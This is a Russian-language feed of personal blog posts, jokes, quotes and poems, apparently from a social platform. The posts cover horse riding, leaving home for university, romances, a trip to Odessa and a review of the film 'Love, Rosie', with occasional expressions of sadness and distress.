Я целыми днями на работе, а там ви фи нет. И времени тоже нет… Я успеваю только ваши посты периодически читать.. Писать мне не хватает сил просто.. Ухожу из дому рано, прихожу поздно. Ну ничего, завтра мне дадут пароль от ви фи "Эльдорадо", и я буду писать.. Хоть с мобильной версии, но буду. Мне многое есть, что вам сказать. Излить душонку грязную, так сказать. Расскажу про свою новою работу. И как у меня успело все измениться.

Знаете, прекрасно, когда из своей жизни, пусть даже на некоторое время, пропадают те, кто постоянно подавлял вас и был "энергетическим вампиром".

У меня такой человек пропал. И я просто понимаю, что я с нетерпением жду учебу, как она поглотит с головой, а потом выйду на заслуженный отдых зимой. С тобой.

Появился стимул. Я не помню, когда он был в последний раз, наверное, очень давно, но сейчас хочется выбежать на улицу и кричать, просто кричать. Может, я очнулась?

сегодня днём начала неважно себя чувствовать и решила поспать. легла и волна воспоминаний накрыла меня с головой. лагерь - дети, гон с вожатыми, (да-да, знаю я, что заебала уже с этим лагерем) и я невольно начала улыбаться. это единственное яркое воспоминание за год. в прошлом году была поездка в Киев. так и перебиваюсь.

Ну что же, день прошел весьма продуктивно. Показываю вам мои самые любимые снимки.

И да, наконец я привела себя в порядок и узнала последние новости от Н. Я уверена, что и дальше все будет так же хорошо (и пределах университета, и за ним). К сожалению всю неделю до своего отъезда буду сидеть с сестрой. Может, это и к лучшему, ведь потом с ней буду видеться намного реже, чем сейчас. Поэтому пока наслаждаюсь "семейными" днями.

Замечаешь её, её одну, одну из тысячи других, всматриваешься, на душе становится тепло, понимаешь, что искал лишь её, берешь и сохраняешь.

"Конец, когда он приходит, всегда наступает слишком быстро, "

— Грегори Дэвид Робертс "Шантарам".

Подошла к концу очередная глава моей жизни.

В прошлом году я бросила заниматься в конноспортивной школе "Чудо-кони", но почти тут же моя знакомая, Оксана, позвала меня к ней на Кумысную ферму, где начала недавно работать тренером.

И, знаете, я была рада сделанному выбору, ибо, как бы мне ни было дорого всё, что я оставляла в "Чуде", клуб уж слишком изменился и не в лучшую сторону. Поэтому ферма стала для меня вторым домом, местом, где я снова нашла и дружескую атмосферу, и лошадей, которых успела полюбить.

Не знаю, как конный спорт и вообще отношения с лошадью выглядят со стороны. Но для пояснения: да, я люблю лошадей. Если меня спросят о любимом животном, я скажу: лошадь. Тем не менее, это не значит, что я люблю их всех. Например, кто-то любит собак больше, чем кошек. При этом человеку, в общем-то, все равно на каких-то чужих собак, он любит свою, родную.

Вот и у меня так же.

Моим первым конём на ферме стал Сокол. И он же прочнее всего засел у меня в сердце.

Этот парень… он просто чудо! По крайне мере для меня :D

У нас с ним было много и хороших, и плохих моментов. Сокол - очень ласковый конь, но при этом он не в восторге, когда от него требуют идеального послушания, как в общем-то и любое животное.

Мой мальчик изматывал нам обоим нервы своими заскоками, уж не буду вдаваться в подробности. Скакал, скидывал, убегал… но никогда не пытался конкретно навредить мне. Вы, наверное, скажете: как же так, падать с лошади - болезненное дело, почему ты решила, что он не хотел тебе навредить? Но одно дело, когда конь просто пытается освободиться от контроля, и совсем другое, когда он целенаправленно скидывает, а потом, например, пытается запинать тебя.

Дело было даже не столько в злости Сокола, сколько в дурном с ним обращении прежних хозяев. Они совершенно не заботились о его здоровье, правильном обучении, о том, что у него тоже есть мысли и чувства.

Ему было просто трудно привыкнуть к хорошему отношению, к ласке, к тому, что его не будут бить из-за непонимания команд или неспособности их выполнять.

Со временем малыш научился мне доверять и я так же поняла, что можно доверять ему. Это было лучшее время.

Часто меня спрашивают: лошади скучают? Они вообще радуются, когда именно ты к ним приходишь?

До этого я, честно признаться, не могла ничего ответить наверняка. В "Чуде" детей много, поэтому лошади привыкли к частой смене всадников и особо никак не реагировали на отсутствие или присутствие конкретного человека. А здесь, по Соколу, я действительно поняла: да, лошади умеют любить, скучать и доверять именно одному человеку.

Вы не представляете, какое это приятное чувство, когда после месяца отсутствия ты подходишь к большому загону, где гуляет твой конь, а он, только приметив тебя издали, со всех ног мчится к тебе, аж подпрыгивая на ходу от радости.

Этот момент просто бесценен, правда.

Мой самый любимый, самый лучший мальчик.

На втором месте у меня стоит Лимон: з

С ним мы познакомились поближе только этим летом. Этому малышу всего-то 2 годика исполнилось этой весной, а ростом в холке он уже около 160 см!

Так как он еще почти не обучен, ездить на нем было… опасно, нервно, раздражающе, когда он совсем не слушал команд, дурил, вредничал. В то же время весело и радостно, когда мы наконец начали понимать друг друга и упражнения стали получаться.

Обучение Лимоши - бесценный опыт именно из-за его молодости и необузданности. От этого было еще интереснее наблюдать за его развитием и поведением.

Разумеется, я не могла остаться равнодушной к этому малышу. Пожалуй, всех в нашей конюшне этот парень или пугает, или раздражает, но только не меня. Я вижу его доброту, его азарт, его игривость.

И это так приятно, что в некоторых моментах он слушает только меня, а не кого-то еще. Хотя для учебной лошади это и не совсем хорошо, но ничего не могу с собой поделать, ведь это доказывает, что и Лимону не все равно, с кем работать :)

А как раз сегодня подошел конец нашей идиллии. Я уезжаю учиться в Нижний Новгород. Знала я это уже давно и также знала, что придется попрощаться с моими мальчиками рано или поздно.

Но сколько ни думай об этом, сколько ни готовь себя морально - не поможет.

Сегодня я съездила за вещами и попрощалась с лошадьми.

Чувствовала себя ужасно расклеившейся плаксой: ехала в маршрутке - плакала, прощалась с лошадьми - плакала. Хорошо, хоть с девочками смогла нормально поболтать и попрощаться, они ничего этого не видели. Пока шла к машине и ехала домой - плакала. Только успокоилась, тут мама говорит, мол, ты такая заплаканная… и меня опять прорвало.

В итоге дали мне успокоительного, ибо я просто не могла сдерживаться, что совершенно для меня не свойственно. Обычно я плачу крааааайне редко, а тут просто какой-то кошмар.

Не думала, что это будет так тяжело…

Этот год, это лето были просто замечательными. Я не хочу, не могу принять мысль, что это конец.

Я вернусь к Соколу и Лимону, так или иначе, я обещаю.

в какой-то момент ты позовёшь, а я уже не приду.
поздно уже.
мама не отпустит.

Осень жадно лакомится августом,
поливая дождями планету.
Я храню в карманах две радости:
тебя и уходящее лето.

Мои дети будут наполовину похожи на меня, а наполовину на картинки, которые я сохранял

— Не так страшно то, что люди тебе скажут, гораздо страшнее то, что они подумают.
- Рыжий пингвин на скейте.
- Что?
- Я подумал о рыжем пингвине на скейте.

— Ради тебя я решил перестать всех ненавидеть, а еще бросил курить и пить всякую дрянь.
— Но это все, что мне нравилось в тебе.

— Торжественно клянусь, что замышляю шалость, и только шалость!
— Допустим. А теперь пусть свою свадебную клятву прочитает невеста.

не могу разобраться в себе. я просто блять не представляю, как это сделать. как научиться себя понимать?

Ведь разлюбить не сможешь ты,
Как полюбить ты не сумела

Как манипулировать людьми:
1. Отбираешь винишко
2. Манипулируешь

Поругалась с Ви. Просто нахера мне писать если ты не собираешься со мной разговаривать? То есть сам написал мне, я ответила и он начал игнорить. Ну бля. Причем это не первый раз. И он совсем не занят. Я не понимаю такой схемы. Правда большой плюс ему за то что он хоть интересуется как я добралась, как все прошло и тд. А не игнорит мое сообщение со скучаюшками. Хотя я не обижаюсь. Я знала что ответа не будет. А если бы был то я бы ебнулась в обморок от неожиданности и радости. Я знаю что он скучает по мне, не так сильно и часто как я, но все же. Мне правда было бы пиздец как приятно если бы он говорил мне чаще о своих скушаюшках. Но маємо шо маємо. А я правда по нему соскучилась) так по доброму, без грусти. Мне казалось что я уехала от него на эти 3 дня. Жаль что его нет рядом. Иначе я бы его затискала)

— мой психологический срок: 15 лет.
— вы хотели сказать "возраст"?
— нет.

Я так долго не высыпался, что мои слёзы на вкус как кофе

Для мужика главное - привыкнуть к одному телу и одному делу. Не метаться - вот что важно.

Мой кот общительней меня.

Убейте меня, но, похоже, я начала скучать по школе.

Была у меня там классная - я вам рассказывала - которая души во мне не чаяла ни за что и оценки рисовала. Так вот, не так уж она была непедагогична :) В моменты, когда мне было особенно и плохо - так, что жить не хотелось, она всегда садилась рядом, гладила и говорила одно и то же. Уже не помню дословно, но что-то вроде:

Отнесись к этой ситуации по-философски. Ты ведь мудрее всего, что с тобой происходит. Я знаю.

Я сегодня сидела на полу в ванной, рыдала и вдруг поняла, что ни черта я не умею относиться к своей жизни мудро и по-философски. И никогда не умела. И ЗВ (классная) прекрасно об этом знала.

Дело ведь даже не в словах. А в присутствии рядом человека, который поддержит.

Вот этой долбаной поддержки мне и не хватает.

— Я не социофоб! Хватить на меня клеветать! Я общительный социально-активный экстраверт!
- Тогда вылези из-под кровати и скажи мне это глядя в глаза
- Нет, тут уютненько

Господи, мне надо всего лишь один шанс. Мне просто нужна возможность послужить причиной ее хорошего настроения, это будет самой громкой победой за последний год, именно этот момент станет переломным, вернет доверие

— Я люблю тебя, глупенькая
— *тяжело дышит перегаром*

Я не мог приехать без подарка, поэтому пришел пешком.

— Что там по телевизору сейчас интересного?
— Не знаю, я его года четыре не смотрел.
— Зато монитор большой.
— Да…

Не умеешь красиво проигрывать - побеждай.

— и жили они в горе и печали.
- может в счастье и радости?
- бред какой-то.

Приветик!!!

Неделька была достаточно хорошой, и могла бы быть еще лучше, если бы не моя лень. В последнее время мне ооочень лень идти гулять. Ну вот прям капец как лень. Я и по квартире еле хожу, но выйти на улицу - что - то из разряда анриал. Приглашают, при чем, частенько, даже те, от которых уже не ожидала, но все равно - лень. А потом буду ныть что у меня нет друзей. Вся моя суть. Вытащила себя сходить с подругой опять купить шмоток к школе. Обошли почти весь город, я нашла пару крутых вещичек, но мать, очереди…Еще в воскресенье был День Флага и нас выперли нести 200 - метровый флаг от школы. Вау. Пришли мы значит такие, постояли, потом меня оторвали от мира и поставили с кем - то хрен его знает кем и так примерно час или больше. Супер. Потом еще съездила за балетками, киданула маму на деньги. А так все ок. Подсела на йогу и здоровый образ жизни. Не могу жить без 2л воды в день, занятия спортиком и подсчетом калорий. Все очень плохо, для фигуры хорошо.

Из "фандомных" штучек: Академия вампиро в, я скучааала, ИГРА ДЕМИ ЛОВАТО - ШИК, вечно залипаю, никто не любит Американскую семейку как я, финал Волчонка или вроде грустно, а вроде грусно…

Лав ю♥♥

я видел гибель динозавров
империй наций и властей
пока ты выбирала лак для
ногтей

завтра столько дел, а я и морально и физически в состоянии овоща

Когда я выхожу из дома - меня вечно преследует ощущение, будто я что-то забыл, например, уравнения Максвелла в интегральной форме.

Ты говоришь, что никогда не был счастлив, но я видел у тебя в телефоне будильник на 14:00.

Старость - не радость.
По ходу я родился старым.

Сегодня трижды выслушала, что Он - кобель и бездарность. Причем в таком ключе, будто в этом я виновата!

Уже третий сериал с Ним в главной роли, где Он - Альфа-самец-Всея-Руси. Ну просто самого себя играет. И это не я говорю, а те, кто гораздо ближе Его знает. Сразу видно, сценаристы особо не заморачивались. А то и вообще участия не принимали. Поставили у Него дома скрытую камеру, потом смонтировали.. и вуаля! Один и тот же сюжет: стерва-жена, на работе Он супермен, сотрудница в три раза младше по Нему сохнет + гарем в подарок. Нет, не то чтобы я ревную…

Просто сегодня я поняла одну очень важную вещь. Он не знает себе цены. Как и при выборе работы, так и в выборе девушки. Увидев один кадр из нового проекта или бросив взгляд на Его спутницу, я сразу могу сказать, как и откуда это началось. В этом сериале Он - единственный с высшим актерским образованием. Нормально, да? С личной жизнью и профессией у Него все одинаково просто: найду через знакомых халтурку, чтобы не то что не растрачиваться особо, скорее - выделяться на фоне общего безобразия. Он не понимает, видимо, что "безобразие" иногда тянет вниз за собой и портит впечатление о Нем самом.

Мне нужно сил в сто тысяч раз больше чем обычно, чтобы сделать все дела и улететь в другую страну, наконец-то. Жалко, что придется тащить с собой ноут, но хотя бы работа не в тягость, так что переживу

When you're in love with Scandinavia and northern nature.

Рассказываю историю. Еще в начале августа мне внезапно пришло сообщение от парня, который добавил меня вдрузья года два назад. И ни разу не написал. Висел у меня в друзьях, меня совершенно не волновал. Разве что, иногда натыкалась на иконку его профиля и думала: "Зачем он меня добавил?".

И вот, спустя два года он зовет покататься на велосипедах. Внезапно, ни с того, ни с сего. Говорит, что давно хотел написать, но все не знал, как начать разговор и что писать, чтобы прокатило. И спустя столько времени наобум написал первое, что в голову пришло. И это сработало. Не знаю, зачем, но я поехала. К слову, парень очень хороший и приятный и очень сипатичный, спортивный, интересный. Любит поспорить, так что у нас всегда есть о чем поговорить. Любит кино, работал раньше в "Перцах" официантом. Из-за его и моей работы мы виделись всего два раза, но он мне очень понравился. И нравится, что все развивается так неторопливо.

Завтра идем куда-нибудь покушать. Надеюсь, я не спугну его, как это обычно бывает. И он не хочет просто дружить, как это обычно бывает. Надеюсь, он нормальный! Надеюсь, что завтра может быть случится что-то более приятное, чем просто обнимашки) Аминь!

Четвертый месяц подряд мне хочется напиться водки, начать курить, не есть до голодного обморока, изрезать все руки и ноги, разрыдаться, и все это под отечественный абстрактный хип-хоп, который сроду не слушала.

По-доброму так…

(❛︵❛.)

ничто так не возвращает в воспоминания об определенном отрезке жизни как песни, которые ты слушал в то или иное время.

Почему я так уверена, что скоро что-то обязательно произойдет? Что-то хорошее

Один из ужасных дней этого холодного лета.

Дождь, мы едем в Уфу, где нам сказали, что заселение 27. Видите ли перенесли! Что значит?! Я должна каждые два дня теперь приезжать?

Короче сдала документы, сказала, что 27 я не приеду! Еду 29. Заполнила все анкеты, пока нашли этот банк, а он сломан, пока стояли там, я очень проголодалась, пока я встретила девочек, пока с ними мыкались.

Мы поменяли время и поехали домой раньше. Потом я планировала свой вечер по-другому. Но дело случая, нужно было проводить человека.. Пол 10, я бегу на встречу. Меня встретила моя банда. Мы пошли провожать, слёзы, скуки.

Потом раздался этот плачевный звонок.. А дальше я только бежала домой. Попросила помощи у человека. Я ему благодарна за то, что он мне всегда помогает и никогда ни в чем не отказывает.. Нет, этим человеком я никогда не пользовалась. И никогда не буду!

Безумно хотят спать мои опухшие от слез глаза.. Что меня ждёт завтра, после моих слов. Господи, береги моих самых любимых людей.

Как же неприятно, когда открываешься человеку, а от него никакой отдачи, лучше уж буду продолжать писать сюда. Уныние.

Сегодня я пролистала кучу классных вакансий и даже - несколько объявлений о сдаче квартир. Тешу себя мыслью, что когда-нибудь буду жить в центре. Пока что меня не берут даже на ту работу, где оклада еле хватит на кино и мороженку раз в неделю. Что уж говорить об отдельном жилье.

Вдруг я буду снимать жилье с людьми покруче, чем моя мама?

Не успела подумать, как она пришла, и я удивилась собственной мысли о том, что могу найти соседей похуже. Начала говорить про мои похороны и психушку. Я не знаю, чего боюсь больше. Или чего больше хотела в тот момент.

Хэй-хэй-хэй! У замечательного вьювера и хорошего человека (да, я поняла это по картинкам) сегодня день рождения!

Khaleesi, с девятнадцатилетием тебя!! Я искренне желаю тебе лишь достигать желанного и быть окружённой добром и хорошими людьми! С днём рождения! :)

— Вот так вот, сынок, в честь этого дяди, я и назвал тебя…Дядя…

—Она одержима демоном! Её нужно спасти!

—Я вызову эгсбициониста!

—Может экзорциста?

—Зануда.

После 4-ой попытки воспитательница в детском суду смирилась с тем, что невозможно выгнать студента из места, где его кормят, развлекают и укладывают спать.

не чи­тай этот текст.

да,
во­об­ще
не чи­тай.

он ин­тимней, чем секс,
он прек­расней, чем рай.

не смот­ри в этот лист,

не чи­тай этих строк.

ес­ли ты – ате­ист,
вер­но, я бу­ду Бог.

за­тол­кай под кро­вать,
убе­ри с глаз до­лой.

не чи­тай, твою мать!
этот текст… он не твой.

это прос­то реф­лекс,
сред­ний па­лец судь­бе.
не чи­тай этот текст.

ну и пусть он те­бе.

Не тратьте деньги на одежду. Тратьте деньги на татуировки. Какая разница, сколько лет вашим кедам, если вы набили кеды у себя на ступнях.

Хочу завести себе девушку. Гулять с ней, на диване лежать вместе… С работы приходишь — а она бегает перед тобой, радуется.

Бросил мужик? пей. Проблему это не решит. Но когда у тебя будет раскалываться голова после алкоголя, ты про него вообще не вспомнишь. Вот такая магия, детка.

Не странно ли то, что через 20 лет ты будешь совершенно другим человеком. С другим домом, другими друзьями, возможно, с вайфаем побыстрее.

— Эх, девочки, наколоть бы татухи-черепухи на все ляжки и уехать с безбашенными байкерами в ночь, но меня мой мужик не отпустит.
- Эх, и меня.
- И меня.
- И меня тоже.

Сказ о девочках, которые как зажгли бы в этой жизни все, что горит и плавится, но их (слава Богу) мужики никуда не пускают.

не понимаешь о чем он говорит - отвечай "я не такая".

Недавно моя девушка заплакала во время секса. Все нормально, просто ей приснился кошмар.

— Мне нравятся твои духи.
- Это освежитель.

— Нет.
- Хочешь стать экстрасенсом?

Женщина:
— Обветрились губы. Воспользовалась скрабом для губ, сделала питательную маску, намазала бальзамом, сверху - увлажняющий блеск.
Мужчина:
— Обветрились губы. Отодрал кожу. Съел.

не живу я настоящим, совсем не понятно чем живу, но не настоящим точно. начала понимать, что почти все время возвращаюсь к временам одиннадцатого класса. очень часто думается, что это был самый замечательный год за все девятнадцать лет и семь месяцев. осознание того, чем я хочу заниматься, первый поход, поездка в саров, ощущение себя частью чего-то очень важного, начало абсолютно доверительного общения с наставником. а сейчас что? да я же сбегаю из университета при любой возможности, ни с кем там не общаюсь, опускаю руки, если вдруг что-то идет не так. причем мне, быть может, и не нужно общение в тех стенах, но хочется докапываться до того, что мне преподают, разбираться в этом, учиться доступно объяснять. на деле же меня понимает только наставник, потому что привык к моему, достаточно импульсивному и не систематизированному, обдумыванию. что в голову взбредет, то и выдаю, а он потом это по полочкам раскладывает. так ведь давно бы уже нужно научиться самостоятельно это все делать, потому что в физике иначе и не нужно бы. конечно, я что-то да делаю, но это все выглядит как топтание на месте, зацикливание на возможном провале и абсолютное неумение сосредотачиваться.

— (плачет)
- Я сказал не оплакивать, а оплачивать кредит.
- (сквозь слёзы) Я это и делаю.

О, гляди, это же Петров в том бентли едет! Да-да, тот самый, которому ты постоянно списывать давал… Почему ты плачешь?

– Мне только что звонили из рая, говорят, у них сбежал самый жирный, никчемный, безработный ангел.
– Ну мам

Я не умею утешать людей. Каждый раз получается что-то вроде "Ну не плачь, маленькое чудовище" или "Ну а что ты хотел? Ты же дебил".

– Давай я поцелую тебя, где бобо, и сразу все пройдет.
– *показывает огромную дыру в душе* Вот тут очень бобо.

Чтобы безнаказанно обзывать людей, нужно добавлять в конце "десять букв по горизонтали".
— Лживая шлюха. Десять букв по горизонтали.
— Не знаю.

сколько нужно отправить смешных картинок чтобы завоевать сердце девушки

Поспать до того момента, когда я проснусь сам, редко получается. Всегда что-нибудь потревожит. Я это называю "я сплю до первых мудаков"

Как работает одеколон для соблазнения женщин? Очень просто: концентрация спирта в воздухе такая, что с двух шагов от тебя она уже забухала

Подруга скидывает мне вк фотки цветов, который подарил ее парнишка, после очередных "расставашек" сказав ей очень много грязных, неприятных слов. А я пью чай и смеюсь. А смеюсь я потому, что лучше я буду гулять без всяких отношений и заниматься сексом, когда этого захочу, чем потом плакать от того, что человек меня предал.

Если человек не оправдал ваши ожидания, в этом нет его вины. Ведь это ваши ожидания.

Пой же, пой. На проклятой гитаре
Пальцы пляшут твои в полукруг.
Захлебнуться бы в этом угаре,
Мой последний, единственный друг.

Не гляди на ее запястья
И с плечей ее льющийся шелк.
Я искал в этой женщине счастья,
А нечаянно гибель нашел.

Я не знал, что любовь — зараза,
Я не знал, что любовь — чума.
Подошла и прищуренным глазом
Хулигана свела с ума.

Пой, мой друг. Навевай мне снова
Нашу прежнюю буйную рань.
Пусть целует она другова,
Молодая, красивая дрянь.

Ах, постой. Я ее не ругаю.
Ах, постой. Я ее не кляну.
Дай тебе про себя я сыграю
Под басовую эту струну.

Льется дней моих розовый купол.
В сердце снов золотых сума.
Много девушек я перещупал,
Много женщин в углах прижимал.

Да! есть горькая правда земли,
Подсмотрел я ребяческим оком:
Лижут в очередь кобели
Истекающую суку соком.

Так чего ж мне ее ревновать.
Так чего ж мне болеть такому.

Наша жизнь — простыня да кровать.
Наша жизнь — поцелуй да в омут.

Пой же, пой! В роковом размахе
Этих рук роковая беда.
Только знаешь, пошли их на хер…
Не умру я, мой друг, никогда.

С. Есенин

С любовью, Рози

«Sometimes, the right love comes at the wrong time»

Рози и Алекс были лучшими друзьями с детства, и теперь, по окончании школы, собираются вместе продолжить учебу в университете.

Однако в их судьбах происходит резкий поворот, когда после ночи со звездой школы Рози узнает, что у нее будет ребенок. Невзирая на то, что обстоятельства и жизненные ситуации разлучают героев, они и спустя годы продолжают помнить друг о друге и о том чувстве, что соединило их в юности…

Приведу пример: идеальный Николас Спаркс с не менее идеальными книгами и идеальными экранизациями. А что здесь? Идеальная Сесилия Ахерн с чудесными книгами и провальной экранизацией. Окей. Начну с хорошего(его не много). Актеры: я обожаю мисс Коллинз, ее игру, внешность, все, Сэм отлично справился, хотя, давайте будем честны на экране его видим не так часто, хотя, але, он главный герой? Очень хорошо снят. Большой поклон операторам: интересные ракурсы, классный свет, все на высшем уровне. И это все выглядит так красиво и прелестно. А теперь о плохом. А где здесь Сесилия? Где здесь история о двух людях, которые потерялись? Где их связь? Потому что в фильме ее просто нет. Есть факт: Алекс и Рози друзья. Но никакой дружбы между ними. Рози скрывает от Алекса беременность????, Алекс скрывает помолвку и не хочет чтобы Рози приезжала из - за того, что он супер богат. Окей, дальше не буду внедряться, но серьезно, химии и отношений между ними - ноль. Пс. Клэфлин в "подростковом" возрасте выглядит как идиот. Как настоящий переросток.

6 из 10

черт.у меня феноменальная память на ненужную хрень.недавно разговорились с подругой и я ляпнула, что помню в чем она была одета в день, когда знакомила нас со своим парнем.а мы даже тогда не общались(как сейчас) и да…мне не понравился этот парень :D(я тебе об этом говорила?хаха) суть в том, что я ненавижу эту дерьмовую память.сейчас читаю книгу и у чувака зеленые глаза.и я вспомнила одного мальчика из первой школы.у него просто потрясающие глаза были.такие ярко-зеленые.я всегда, когда была возможность, смотрела ему в глаза.он наверняка думал, что я в него влюбилась.как другие девочки.но, к счастью, нет.он был тем еще засранцем.но, черт возьми, цвет глаз у него был отпадный(какие словечки знаю :D) это был пятый класс.я была…эмм..страшненькой. .была, ага :Dи этот мальчик не забывал мне это напоминать.возможно, что это одна из причин почему я его запомнила.так вот…с того времени я повидала целую кучу засранцев, а вот людей с такими глазами…честно говоря, ни одного. и зачем я это пишу?понятия не имею если никто не против, я могу остаться и писать подобную чушь.с телефона мне больше нравится. кто против?!я все равно буду писать.хаха

Мальчик мой, скажи мне, зачем тебе красный плащ?

— Рэй Брэдбери .

И снова здравствуйте.Боже, сколько же я тут не появлялась.Даже не знаю, как начать свой пост.О вьюи мне напомнила Юля, и я если честно, очень скучала по этому месту.Ведь раньше я могла рассказать вам все.Тайны, мысли, радости и разочарования.Я уже давно начала жить взрослой жизнью, поэтому, мне было не до вьюи.Я закончила колледж, и пытаюсь найти работу.Все очень сложно.Никогда не думала, что жизнь за пределами учебы слишком сложна.Столько всего приходится делать, нет времени на детские забавы.Я уже давно забыла о фотошопе, тамблере и прочих вещах, без которых раньше жить не могла.Мне этого очень нехватает.По возможности я обязательно буду писать посты, оформлять ленту и вообще хотелось бы почаще бывать тут.Зато я всегда в инстаграме и твиттере.Кому интересно, могу кинуть ссылки в сообщения.Надеюсь, мои читатели еще помнят, как меня зовут, и как я выгляжу.Может быть мой блог станет чуть взрослее, а может быть и нет.Кто знает.Я очень скучала, вью.

Принимайте меня назад, дорогие мои вьюверы

все еще ваша В.

Читать этот пост под David Guetta/Chris Willis/ Fergie/Lmfao – Gettin Over You

Только спустя какое то время начинаю понимать, что скучаю. Но, так или иначе, спустя пять (!) поездок к чудной жемчужине у моря мне удалось таки задержаться там больше, чем всего на один день.

Одесса - это удивительный город. Каждый, кто хотя бы раз бывал там, меня поймет. Он не может просто оставить вас равнодушными. Я возила туда папу, маму, сестру, одну лучшую подругу и затем вторую - каждая поездка заканчивалась кучей приятных воспоминаний и моментов, которые хочется прокручивать в голове снова и снова. Боже, я влюблена в этот город, и Одесса, как мне кажется, отвечает мне взаимностью)

В этот раз нам удалось находиться пешком на полгода вперед, мы жили в милой небольшой гостинице в самом сердце города (опустим момент что мы к фигам пропустили время выселения, когда бежали с вокзала на Садовую, из-за того, что задержались на пляже, а трамвай предательски не хотел везти нас к пункту назначения чуть быстрее, чем ОЧЕНЬ МЕДЛЕННО))) , а окна наши выходили на типичный одесский дворик, в котором я так давно хотела пожить.

В этот раз я не брала с собой камеру, чтобы ничто не обременяло меня от полноценного отдыха, фотки с ифона тоже для памяти отлично сгодятся (окдаотмазалась)).

Побывала везде, где хотелось и куда за пять лет так и не могла добраться, встретила хоть одну, но знакомую мордашку, мы провели просто уютнейший вечер в кафе на Дерибасовской, слушая живой оркестр, исполняющий Queen, Adele, AC DC… Это было оооочень круто. Шумно, пусть дорого, но круто. ;)

Не знаю, где бы я ни была, куда бы не ездила, Одесса всегда в моей голове и в моем сердце. Единственный город, где я чувствую себя уютно, иной раз даже забываюсь, и могу в середине дня с мыслями "Ну, пора домой забежать" начать искать свою остановку :DD

Надеюсь, мы еще встретимся, даже не смотря на предстоящий день Х, который так будоражит мой ум.

Приятных снов, и пусть вам приснится море!)

rsl-fanpage:

Robert Sean leonard, 2007

У нас на работе есть новички, с которыми мы мало знакомы и следовательно они не знают про мои хобби и увлечения. Поэтому, так забавно смотреть на их лица, в момент когда они подходят ко мне, указывают на торчащий из под выреза кулон и задают вопрос

—Что это у тебя такое? -

А , ну это я состою в тайном ордене, в секте.Мы курим гашиш, прячемся в толпе, тайно убиваем своих врагов и совершаем прыжки в сено с огромной высот ы.

Видела какие у меня синяки? Думаешь откуда они у меня?

—ТЫ СЕРЬЕЗНО? -

Конечно, только никому не говори..

unpresentablerebloggedglassbonespaperskin

its-saxyrebloggedorlandobloom Source:h-a-r-l-e-e-n-q-u-i-n-z-e-l

Зачем вам эти отношения? Не наигрались до сих пор, что ли? Лучше купите лишнюю побрякушку или заведите домашнее животное. Все приятнее, чем обременять себя этой бессмысленной кабалой.

bleedingdesu:

Red by ~Redpyre

Всё, что строили мы, уносится в дальние страны
Октябрь, ноябрь, декабрь, февраль с собой забирай
Забирай свою осень
Моя душа лета просит.

как бы это ванильно не звучалоо, хочу блять ЛЮБВИИИИ

я так заебалась, что сплю с мейком которую ночь. и вот сейчас. хорошо, что успела разуться. спать. спать. спать. спать. спать.

С метками проблематично, дублирую для Екатерины: я с тобой. когда понимаю, о чем речь.

Все хорошо сейчас и это не может не радовать. Пкрегорела. Мне все равно) больше не ты занимаешь мои мысли и это радует) огорчает только то, что все равно надо будет с тобой встретиться) но меня это мало волнует. Мне хорошо и это главное А вообще, ребят, не встречайьесь с теми, кого вы когда-то любили. Я решила встретиться с другом в которого раньше была влюблена, около года не видела. И вот решили погулять.. А зря, этот человек не выходит из моих мыслей, лучше бы я вообще его не видела(

Мы тайные… любовники? Или возлюбленные? Мы любим друг друга?

Мы целуемся по ночам, прячась от всех. Перебираем пальчики. Я перебираю губами по его шее, делая дорожку из поцелуев. Он не перестаёт ворошить губами по моим волосам и повторять как он обожает мои духи. Смешно трёмся носами, оголяя свои зубы друг другу и нашим "половинкам", считающих нас уже спящими дома и отправляющих дотошные поцелуйчики в ответ. Мы демонстративно убираем телефоны на расстояние вытянутой руки, а сами плотно прижимаемся к друг другу, пытаясь согреться за все эти годы паузы. Мы высмеиваем их жизненные мелочи, пародируем, а сами понимаем, что жизнь вообще несправедливо раскинула нас по городам. Как загнанные в угол, он- навесившейся будущей "невестой и свекровью", как они себя считают, и я - как он любит себя называть, "гарантией стабильности". Зачем нам они вообще- мы не могли понять всю ночь, зато мы могли без сомнения понимали, что мы нужны друг другу. Два огня, смекаете? Когда один тухнет- другой поджигает. Так и горим. Спустя 5 лет.

Делает комплименты, с долей кокетства смотрит на меня и гладит мои руки. Я трусь об его щетину, поднимаю бокал вина и пытаюсь придумать очередной дурацкий тост, но оба понимаем, что каждый раз пьём за любовь. Уже обещаем друг другу, как через полгода будем так же пропадать, целуемся и перемигиваемся, предвкушая и смакуя будущее. Планов строить нельзя, но почему бы нельзя помечтать? Вот мы сидели и мечтали.

5 утра, мы прощаемся. Такси уже рвётся увезти меня домой, а он пытается это остановить, цепляя мои губы своими. Сажусь в машину. Он в свою. Нас развозят в разные стороны, а мы до последнего пытаемся уследить за машиной друг друга, летящей в рассвет.

Восклицание. Да это же всё вино! Вино и вина от него. Да если бы это было вино, мы бы не стремились на следующий день опять увидеть друг друга, писать по ночам друг другу милые глупости, признаваясь в слабостях и чувствах, и с каждым днём всё сильнее и сильнее обнимать друг друга, предчувствуя скорое расставание на некоторые время.

Я не знаю что из этого получится, но сейчас я счастлива. У меня нет давящего чувства "а что же, вдруг он там опять что-нибудь передумает, решит что ему это не надо, что всё это глупости". У меня на душе прекрасное светлое чувство, что случилось то, что должно было случиться.

P.S: Я тебя люблю.

Знаете, что я нашла? Точнее, меня нашел ролевик по Уибаллу. Я теперя энцефалитный потерянный Уилл Грэм, а он, естессно, доктор Лектер. И что бы вы думали? Мне даже немного нравится. У меня всегда были проблемы с сюжетом, а тут я изображаю припадки, выебисто их описывая и практически ведусь на его сюжет. /есть подозрения, что играю со школьником, ну и пусть/ но хотелось бы какого-нибудь… врача вовлечь в что-то. Да, именно врача, с холодными, рассчетливыми действиями и мыслями на замке. Анна?: >

сегодня в министерство образования звонила родственница моей знакомой с вопросом "как можно начинать учебный процесс, если идут такие обстрелы?", на что мальчик на той стороне без запинки и очень честно ответил: а мы верим, что к 1 сентября война закончится.

Забавно, когда какая-нибудь сладкая парочка так и постит свои карамельные фоточки с миллионами сердечек под каждой и с такими громкими словами как "навсегда", а  их "фанаты" пишут приторные комментарии, типо "какие же вы усюсю", "офигенные", "обожаю вас". И в скором времени эти подопытные судьбы разбегаются по новым пассиям, и все эти "фанаты" затыкаются. Типо ниче и не было. Упс, как неловко-то. 

То чувство, когда твоя лучшая подруга удалила тебя из друзей из-за фотографии в инсте. мда.лол

А я ведь просто выложила фото в инстаграмм. Не думала, что из-за такой мелочи можно поссориться. Это просто фотография. Ладно. Окей. Я удалила ее. Тебе лучше стало? Я рада.

